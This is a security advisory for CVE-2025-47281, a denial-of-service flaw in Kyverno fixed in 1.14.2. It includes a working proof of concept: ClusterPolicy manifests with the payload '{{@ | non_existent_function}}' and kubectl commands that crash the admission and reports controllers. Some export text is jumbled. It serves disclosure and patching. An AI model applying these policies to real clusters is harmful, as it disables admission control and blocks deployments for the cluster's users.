github.com/kyverno/kyverno
Affected
- introduced
0, fixed1.14.2(semver)
Fixed versions
1.14.2
Fix
- Fixed version
1.14.2go get github.com/kyverno/[email protected]
Advisory
Also known as: BIT-kyverno-2025-47281, CVE-2025-47281, GO-2025-3823
Kyverno's Improper JMESPath Variable Evaluation Lead to Denial of Service
Summary
A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | non_existent_function }}).
This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."
Details
The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):
func getValueAsStringMap(key string, data interface{}) (string, map[string]string) {
// ...
valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value
// ...
for k, v := range valMap { // If valMap contains a key whose value is nil...
result[k] = v.(string) // PANIC: v.(string) on a nil interface{}
}
return patternKey, result
}
When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).
During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.
Proof of Concept (PoC)
This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.
In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.
Tested on Kyverno v1.14.1.
ClusterPolicy or Policy resources.ClusterPolicy: ```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: dos-via-jmespath-nil
spec:
rules:
- name: trigger-nil-panic
match:
any:
- resources:
kinds:
- Pod
validate:
message: "DoS attempt via JMESPath nil substitution"
pattern:
metadata:
labels:
# '{{@ | non_existent_function}}' will result in a nil value for this label.
# This nil value causes a panic in getValueAsStringMap.
trigger_panic: "{{@ | non_existent_function}}"
```
```bash
k get clusterpolicy dos-via-jmespath-nil
NAME ADMISSION BACKGROUND READY AGE MESSAGE
dos-via-jmespath-nil true true True 24m Ready
```
match or exclude): ```bash
kubectl run test-pod-dos --image=nginx
```
interface conversion: interface {} is nil, not string). * Check Kyverno reports controller logs; the pod crashes and restarts. * Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380kubectl delete clusterpolicy dos-via-jmespath-nil and delete the test pod with kubectl delete pod test-pod-dos. Then apply the following: apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: dos-via-jmespath-nil-enforce
spec:
validationFailureAction: Enforce # This has changed
rules:
- name: trigger-nil-panic
match:
any:
- resources:
kinds:
- Pod
validate:
message: "DoS attempt via JMESPath nil substitution"
pattern:
metadata:
labels:
# '{{@ | non_existent_function}}' will result in a nil value for this label.
# This nil value causes a panic in getValueAsStringMap.
trigger_panic: "{{@ | non_existent_function}}"
match or exclude): ```bash
kubectl run test-pod-dos --image=nginx
```
The command returns the following error:
```bash
Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF
```
Impact
This is a Denial of Service (DoS) vulnerability.
Policy or ClusterPolicy resources. This is often a privileged operation but may be delegated in some environments.High Basis: The source's own band: HIGH
0, fixed 1.14.2 (semver)1.14.2
1.14.2go get github.com/kyverno/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0